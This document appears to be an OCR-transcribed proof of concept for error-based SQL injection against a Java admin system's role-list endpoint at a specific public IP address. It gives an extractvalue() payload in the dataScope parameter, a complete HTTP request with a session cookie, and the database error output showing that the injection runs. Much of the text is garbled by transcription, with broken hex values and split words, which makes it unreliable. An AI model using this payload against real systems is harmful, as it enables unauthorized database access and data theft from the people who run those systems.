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JRiAbiE: http://123.57.61.125:8080/login
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POC: pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=8&roleKey=&
status=Tms[beginTime]=Tms[endTime]=Tms[dataScope]=and
extractvalue(1,concat(0Ox7e,substring((select database()),1,32),0x7¢e))

R :

POST /system/role/list HTTP/1.1

Host: 123.57.61.125:8080

Content-Length: 198

Accept: application/json, text/javascript, /; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded

Origin: http://123.57.61.125:8080

Referer: http://123.57.61.125:8080/system/role

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=c8482408-e1c4-4d9a-bdb3-fc79e9bd88ec

Connection: close

pageSize=8&pageNum=8&orderByColumn=&isAsc=&roleName=8&roleKey=8&status=Tms[beginTime]=Tms[endTime]=Tms[dataScope]=and
extractvalue(1,concat(0Ox7e,substring((select database()),1,32),0x7¢e))
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5 X-Requested-With: XMLHttpRequest

Im

AppleWebKit/537. 36 (KHTML, like Gecko)
Chrome/100. 0. 4896. 88 Safari/537. 36

8 Origin: http://123.57.61.125:8080
10 Accept—-Encoding: gzip, deflate

Il Accept-Language: zh—-CN,zh;q=0.9
12 Cookie: JSESSIONID=

c8482408-elc4-4d9a-bdb3 hc7909bd889c
13 Connection: close

params [dataScope]=and

database()),1,32),0x7e))
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Done

4 Accept: application/json, text/javascript, */*; q=0.01 i

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

/ Content-Type: application/x-www-form—urlencoded

9 Referer: http://123.57.61. 125:8080/system/role

B 14
415 pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&
’ roleKey=&status=&params[beginTime]=&params[endTime]=¢&

16 extractvalue (1, concat (0x7e, substring((select
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( Cause: j
ava. sql. SQLException: XPATH syntax error: ' ry '\n##
# The error may exist in URL [jar:file:/www/server/j
ava/experiment—0. 0. 1-SNAPSHOT. jar!/BOOT-INF/classes!
/mapper/system/SysRoleMapper. xml] \n&### The error may

involve com. yxt. system. mapper. SysRoleMapper. selectR
oleList-Inline\n### The error occurred while setting
SQL: select distinct r.role id, r.r
ole name, r.role key, r.role sort, r.data scope,

Error querying database

R

parameters \\Ilh-hh

r.status, r.del flag, r.create time, r.rema
rk from sys role r
er role ur on ur.role id
user u on u.user id
sys dept d on u.dept id
flag 0
and extractvalue(l,concat (0x7e, substring((select dat
abase()),1,32),0x7e)) \n### Cause: java.sql.SQLExcept
P . A , : B

left join sys_us
r.role id left j
ur. user id le

d. dept id

oin sys
ft join
where r. del
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1,271 bytes | 160 millis
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